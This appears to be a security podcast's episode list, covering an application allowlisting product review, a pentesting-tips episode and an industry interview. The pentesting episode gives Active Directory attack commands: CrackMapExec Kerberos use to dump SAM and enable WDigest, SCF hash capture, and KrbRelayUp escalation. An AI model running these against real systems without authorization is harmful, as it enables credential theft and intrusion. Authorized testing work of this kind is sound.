Hey friends! Today we're giving you a first impressions episode all about Airlock Digital, an application allowlisting solution. They were kind enough to let us play with it in our lab with the intention of exploring its bells and whistles, so we're excited to report back our findings in podcast form. TLDL: we really like this solution! It is easy to deploy (see this YouTube video for a quick walkthrough). Once I had it going in the lab, I tried administering it without reading any of the documentation, and figured out most of the workflows with ease. I just ran into a couple questions that the Airlock folks were great about answering quickly. I want to better understand the "Microsoft way" to do application allowlisting - using their standard offering or something like AaronLocker. But several colleagues have told me they had "OMG moments" where a C-level staff member suddenly needed to run something like ringcentral.exe and they weren't able to because of app blocklisting. It then becomes difficult to quickly allow that .exe to run without pushing GPO updates or having someone log in as local admin or something like that. But Airlock has a cool, killer feature to address this need...take a listen to today's program to learn more!

Sep 16, 202236 min

7MS #537: Tales of Pentest Pwnage - Part 42

In today's episode we share some tips we've picked up in the last few weeks of pentesting, with hopes it will save you from at least a few rounds of smashing your face into the keyboard. Tips include: If you find yourself with "owns" rights to a bajillion hosts in BloodHound, this query will give you a nice list of those systems, one system per line: cat export-from-bloodhound.json | jq '.nodes[].label' | tr -d '"' Then you can scan with nmap to find the "live" hosts: nmap -sn -iL targets.txt For resource based constrained delegation attacks, check out this episode of pwnage for some step-by-step instructions. If you have RBCD admin access to victim systems, don't forget that CrackMapExec support Kerberos! So you can do stuff like: cme smb VICTIM-SYSTEM -k --sam or cme smb VICTIM-SYSTEM -k -M wdigest -M ACTION=enable Take the time to search SMB shares with something like PowerHuntShares. If you have write access in places, drop an SCF file to capture/pass hashes! Looking to privilege escalate while RDP'd into a system? You owe it to yourself to check out KrbRelayUp! Ever find yourself with cracked hashcat passwords that look something like '$HEX[xxxx]'? Check this tweet from mpgn for a great cracking tip!

Sep 9, 202250 min

7MS #536: Interview with Amanda Berlin of Blumira

Today we're so excited to welcome Amanda Berlin, Lead Incident Detection Engineer at Blumira, back to the show (did you miss Amanda's first appearance on the show? Check it out here)! You might already be familiar with Amanda's awesome Defensive Security Handbook or her work with the Mental Health Hackers organization. Today we virtually sat down to tackle a variety of topics and questions, including: What if HAFNIUM2 comes out today and only affects 2 specific versions of Exchange? Does Blumira buy every software/hardware thingy out there and have an evil scientist lab where they test out all these different exploits, and then create detections for them? Can an old, out-of-touch security guy like me still find a place at the Vegas hacker conferences (even though I hate lines, heat, crowds and partying)? Spoiler alert: yes. Are security vendors more likely to share their software/hardware security services with a defensive security group like Blumira, rather than pentesters like 7MinSec? Does Amanda think there's a gender bias in the security industry? Besides being aware of it happening, what can we do to cut down the bullying/secure-splaining/d-baggery/etc. in the industry?

Sep 2, 20221h 5m